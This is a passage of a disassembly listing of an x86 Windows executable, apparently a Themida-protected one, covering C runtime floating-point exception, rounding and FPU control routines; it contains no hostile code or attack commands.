		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------

loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------

loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------

loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------

loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx

loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2850000h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh

loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh

loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h

loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh

loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh

loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------

loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------

loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx

loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------

loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------

loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx

loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_435FA0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs

loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	dbl_435F90
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------

loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	dbl_435FA0
		fchs

loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	dbl_435FA0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------

loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	dbl_435F90
		fchs

loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------

loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_435F90
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs

loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]

loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------

loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx

loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------

loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------

loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx

loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx

loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx

loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h

loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3

loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------

loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx

loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx

loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh

loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx

loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]

loc_41C57D:				; DATA XREF: Themida_:00537704o
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	dword_4CD9B4, 22h
		retn
; ---------------------------------------------------------------------------

loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	dword_4CD9B4, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_435EB8

loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_435F90
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, off_435EBC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------

loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3

loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------

loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B

loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4

loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------

loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E

loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax

loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1

loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------

loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h

loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------

loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	tbyte_435FB8
		fistp	[ebp+arg_0]
		wait

loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	tbyte_435FB8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	tbyte_435FC4
		fstp	[ebp+var_8]
		wait

loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424828
		fstp	[ebp+var_8]
		fld	dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4246A8
		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
